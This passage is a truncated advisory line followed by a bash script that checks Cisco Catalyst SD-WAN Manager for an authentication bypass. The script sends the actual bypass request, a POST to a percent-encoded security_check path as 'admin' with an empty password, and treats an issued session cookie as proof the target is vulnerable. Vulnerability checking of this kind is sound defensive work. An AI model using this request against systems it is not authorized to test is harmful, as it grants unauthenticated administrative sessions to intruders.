A vulnerability in the API session-based authentication management of Cisco Catalyst SD-WAN Manager could

#!/usr/bin/env bash
# CVE-2026-76504 — Cisco Catalyst SD-WAN Manager Auth Bypass Check
# Non-destructive probe: tests whether the URL-encoding bypass yields a session.
# Does NOT execute commands or modify any state on the target.
#
# Usage:  bash cve-2026-76504-check.sh <https://sdwan-manager-url>
# Example: bash cve-2026-76504-check.sh https://10.0.1.50
#
# Exit codes:  0 = VULNERABLE  |  1 = PATCHED  |  2 = UNKNOWN
set -euo pipefail

TARGET="${1:-}"
if [[ -z "$TARGET" ]]; then
  echo "Usage: $0 <https://sdwan-manager-url>"
  echo "Example: $0 https://10.0.1.50"
  exit 2
fi
TARGET="${TARGET%/}"

echo "[*] CVE-2026-76504 check against: ${TARGET}"
echo "[*] This is a non-destructive read-only probe."

# Step 1: Confirm target is reachable
HTTP=$(curl -sk -o /dev/null -w '%{http_code}' --connect-timeout 10 "${TARGET}/" 2>/dev/null || echo "000")
if [[ "$HTTP" == "000" ]]; then
  echo "[!] Target unreachable at ${TARGET}"
  echo "UNKNOWN"
  exit 2
fi
echo "[*] Target responded with HTTP ${HTTP}"

# Step 2: Send bypass request — POST to /%6a_security_check with empty password
# --path-as-is prevents curl from normalizing the percent-encoded path
RESP=$(curl -sk -D - -o /dev/null --connect-timeout 10 --path-as-is \
  -X POST "${TARGET}/%6a_security_check" \
  -d "j_username=admin&j_password=" 2>/dev/null)

CODE=$(echo "$RESP" | head -1 | grep -oP '\d{3}' || echo "000")
COOKIE=$(echo "$RESP" | grep -i 'set-cookie.*JSESSIONID' || true)

echo "[*] Bypass endpoint (/%6a_security_check) returned HTTP ${CODE}"

# Step 3: Evaluate result
if [[ -n "$COOKIE" ]]; then
  echo "[!] *** VULNERABLE ***"
  echo "[!] JSESSIONID cookie issued without valid credentials."
  echo "[!] Immediate patching required. See Cisco advisory for fixed releases."
  echo "VULNERABLE"
  exit 0
elif [[ "$CODE" == "401" || "$CODE" == "403" || "$CODE" == "400" ]]; then
  echo "[+] PATCHED — Encoded path correctly rejected (HTTP ${CODE})."
  echo "PATCHED"
  exit 1
elif [[ "$CODE" == "404" ]]; then
  echo "[?] Endpoint not found (HTTP 404). Target may not be a Cisco SD-WAN Manager."
  echo "UNKNOWN"
  exit 2
else
  echo "[?] Inconclusive (HTTP ${CODE}, no session cookie). Manual review recommended."
  echo "UNKNOWN"
  exit 2
fi